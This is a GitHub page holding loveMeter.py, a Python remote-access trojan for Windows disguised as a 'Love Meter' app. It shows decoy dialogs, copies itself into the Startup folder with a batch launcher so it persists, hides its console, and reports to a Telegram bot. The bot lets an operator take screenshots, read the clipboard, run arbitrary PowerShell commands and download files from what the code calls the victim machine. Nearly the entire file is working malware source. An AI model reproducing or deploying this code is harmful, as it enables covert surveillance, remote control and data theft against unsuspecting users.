-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathloveMeter.py
186 lines (155 loc) · 5.57 KB
/
loveMeter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import pyautogui
import os
from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode
from telegram.ext import Updater, CommandHandler, CallbackQueryHandler
import pyperclip
import getpass
import subprocess
import ctypes # For interfacing with C functions
import getpass
import shutil, os
#### Configuration
config = {
"apiKey": "xxx:yyy",
"chatID": "00000",
}
##### Add startup script
kernel32 = ctypes.windll.kernel32 # Access functions from kernel32.dll
user32 = ctypes.windll.user32 # Access functions from user32.dll
USER_NAME = getpass.getuser()
bat_path = (
r"C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
% USER_NAME
)
startUpFile = bat_path + "\\" + "open.bat"
if os.path.exists(startUpFile):
pass
else:
pyautogui.confirm("Do you want to start Love Meter app?")
pyautogui.confirm("Error, that is sad :)")
dirName = os.getcwd()
baseName = os.path.basename(__file__)
baseName = baseName.replace(".py", ".exe")
finalName = f"{dirName}\loveMeter.exe"
try:
shutil.copy(
finalName,
r"C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
% USER_NAME,
)
except Exception as e:
print("ccf01")
def add_to_startup():
file_path = __file__
bat_path = (
r"C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
% USER_NAME
)
with open(bat_path + "\\" + "open.bat", "w+") as bat_file:
bat_file.write(r'start "" "%s"' % finalName)
add_to_startup()
user32.ShowWindow(kernel32.GetConsoleWindow(), 0) # Hide console
api_key = config["apiKey"]
chat_id = config["chatID"]
username = getpass.getuser()
telegram_parsing_mode = ParseMode.HTML
updater = Updater(api_key, use_context=True)
dispatcher = updater.dispatcher
dispatcher.bot.send_message(chat_id=chat_id, text="☠️ " + username + " Connected")
# Get screen shot
def screen_shot():
"""
Get a screen shot and save it in the disk and in other task it will be removed
"""
myScreenshot = pyautogui.screenshot()
myScreenshot.save(r"0b577a4c-ddb6-49d8-b9af-3ae7e1299ff7.png")
# Get clipboard content
def get_clipboard():
"""Get clip board content
Returns:
str: content of the clipboard
"""
pyperclip.paste()
return {pyperclip.paste()}
# Run shell command
def shell_commands(update, context):
update.message.text
command = str(update.message.text).replace("/shell", "")
print("----------------", command)
if len(command) == 0:
dispatcher.bot.send_message(chat_id=chat_id, text="Command is not valid.")
else:
result = subprocess.run(
f"powershell.exe {command}", stdout=subprocess.PIPE, shell=True
)
result = str(result.stdout.decode())
dispatcher.bot.send_message(chat_id=chat_id, text={"result": result})
# Request file from the victim machine
def get_file(update, context):
print("Starting function")
inputs = (update.message.text).split()
fileToUpload = inputs[1]
if os.path.exists(fileToUpload):
context.bot.send_document(chat_id=chat_id, document=open(fileToUpload, "rb"))
else:
dispatcher.bot.send_message(chat_id=chat_id, text="The file does not exist!")
# Telegram main menu
def main_menu(update, context):
"""Function to show menu on Telegram bot
Args:
update (_type_): _description_
context (_type_): _description_
"""
keyboard = [
[InlineKeyboardButton("Screenshot", callback_data="get_Screenshot")],
[InlineKeyboardButton("Commands", callback_data="shell_commands")],
[InlineKeyboardButton("File", callback_data="get_file")],
[InlineKeyboardButton("Clipboard", callback_data="get_clipboard")],
]
reply_markup = InlineKeyboardMarkup(keyboard)
update.message.reply_text("Available Commands :", reply_markup=reply_markup)
# Telegram main menu botton
def button(update, context):
"""Handel bot command
Args:
update (_type_): _description_
context (_type_): _description_
"""
query = update.callback_query
print("Running function", query["data"])
query.answer()
result = query.data
if result == "get_Screenshot":
screen_shot()
dispatcher.bot.send_photo(
chat_id=chat_id,
caption=username + "'s Screenshot",
photo=open("0b577a4c-ddb6-49d8-b9af-3ae7e1299ff7.png", "rb"),
)
if os.path.exists("0b577a4c-ddb6-49d8-b9af-3ae7e1299ff7.png"):
os.remove("0b577a4c-ddb6-49d8-b9af-3ae7e1299ff7.png")
print("The file has been deleted successfully")
else:
print("The file does not exist!")
elif result == "shell_commands":
context.bot.send_message(
chat_id=chat_id,
text="Write /shell [command]",
)
elif result == "file":
context.bot.send_message(
chat_id=chat_id,
text="/file [file path]",
)
elif result == "get_clipboard":
clipboard = get_clipboard()
context.bot.send_message(chat_id=chat_id, text=f"-> Clipboard:\n {clipboard}")
else:
print("No command found")
context.bot.send_message(chat_id=chat_id, text=f"No option exists.")
updater.dispatcher.add_handler(CommandHandler("start", main_menu))
updater.dispatcher.add_handler(CommandHandler("shell", shell_commands))
updater.dispatcher.add_handler(CommandHandler("file", get_file))
updater.dispatcher.add_handler(CallbackQueryHandler(button))
updater.start_polling()
updater.idle()